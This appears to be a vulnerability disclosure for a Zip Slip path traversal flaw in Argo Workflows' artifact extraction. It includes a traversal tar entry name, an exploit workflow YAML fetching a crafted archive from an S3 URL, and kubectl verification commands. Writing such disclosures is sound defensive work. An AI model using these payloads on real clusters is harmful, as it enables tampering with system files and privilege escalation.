Vulnerability Description

Vulnerability Overview

1. During the artifact extraction process, the unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call, 2. However, since /etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible. 3. At this point, if a malicious user sets the entry name inside the tar.gz file to a path traversal like ../../../../../etc/zipslip-poc, 4. The untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc", 5. Ultimately, the /etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.

untar(): Writing Files Outside the Extraction Directory

https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993

1. Base Path: /work/tmp (dest) — The intended extraction directory in the wait container 2. Malicious Entry: ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload 3. Path Cleaning: filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal 4. Path Joining: filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory 5. File Creation: /mainctrfs/etc/zipslip-ok.txt file is created in the wait container 6. Volume Mirroring: The file appears as /etc/zipslip-ok.txt in the main container due to volume mount mirroring

PoC

PoC Description

1. The user uploaded a malicious tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability. 2. In the Argo Workflows YAML, the artifact’s path is set to /work/tmp, which should normally extract the archive to that intended directory. 3. However, due to the vulnerability in the untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations. 4. Since the wait container’s /mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory. 5. Consequently, the archive that should extract to /work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.

exploit yaml

yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: zipslip- spec: entrypoint: main templates: - name: main container: image: ubuntu:22.04 command: ["sh"] args: ["-c", "echo 'Starting container'; sleep 3000"] volumeMounts: - name: etcvol mountPath: /etc inputs: artifacts: - name: evil path: /work/tmp archive: tar: {} http: url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz" volumes: - name: etcvol emptyDir: {}

exploit

1. Create Zipslip <img width="1300" height="102" alt="image (4)" src="https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2" />

2. Upload S3 <img width="1634" height="309" alt="image (5)" src="https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4" />

3. Create Workflow <img width="1875" height="865" alt="image (1) (1)" src="https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f" />

4. Run <img width="1799" height="862" alt="image (2)" src="https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f" />

5. Exploit Success <img width="1363" height="440" alt="image (3)" src="https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f" />

bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt

Impact

Container Isolation Bypass

The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.